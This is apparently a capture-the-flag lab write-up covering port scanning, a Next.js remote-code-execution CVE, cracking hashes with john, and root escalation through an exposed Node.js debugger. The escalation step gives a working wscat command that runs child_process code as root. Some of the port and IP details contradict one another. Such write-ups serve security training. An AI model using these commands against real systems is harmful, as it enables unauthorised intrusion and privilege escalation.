817cbb469e84aaf8f611c685f4e917c2.png

Port scan

Using nmap I found 2 open ports, 22 and 3000.

nmap -p- --open -vvv -sS --min-rate 5000 -Pn 10.129.2.186 -oG allPorts.txt
nmap -p22,3000 -sCV 10.129.2.189 

Here, I found an ssh server and a http service in 5000. 97adb10086b8dc5b1f3b77dd952d041f.png

Web enumeration

Using wappalyzer, I found the nextjs version. 2302cbeb11eb0eec6f874734c6c46673.png This version is vulnerable to CVE-2025-55182 (React2shell). f9907b83b6f275c0d79bbe17d0a8e8ec.png Using an exploit, Im able to execute code and get a shell. 013ee50e675565563cb5c8faf2570817.png Inside the web directory, I found a database. 7c36fe2a2c7870d7c84996f6f51abb2c.png I downloaded in my local machine and found 2 hashes. 5efd9ab113993bc8c2bbf5844252bad5.png

Hash cracking.

Usign john, I cracked the hashes.

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

With this, I found one of the passwords. f6b8124959fa703b8d75b0602ee57de7.png Using this password, I was able to log as enginer and read the user password. a616401e1c8353a5b79f325246aff9dd.png

Privilege escalation

Engenier user is part of lxd group. 95a073089df8fbc1c07cebd94b954d04.png But lxd is not installed, and I cant install it. 8c3192844d3f4187cbf4a96fc3952e71.png After more enumeration, I found a node.js process with inspect enabled. 6398b7a664cca84ae3a6a273df81589c.png I confirm that this is a debug instance, wich can allow me to execute code. 66e4c192625a374f53035b942b2a968e.png Using ssh I fordguarted the service.

ssh -L 9229:localhost:9229 engineer@10.129.2.186

Now, using wscat, I can execute code as root.

wscat -c ws://127.0.0.1:9229/bf66e655-8c31-41b6-98d1-9b9734408bce -x '{"id":1,"method":"Runtime.evaluate","params":{"expression":"process.mainModule.require(\"child_process\").execSync(\"id\").toString()"}}' -w 2

19619a34f6749625782d0d999e99e87c.png 395b6e274fba87138cd3769576dbd52c.png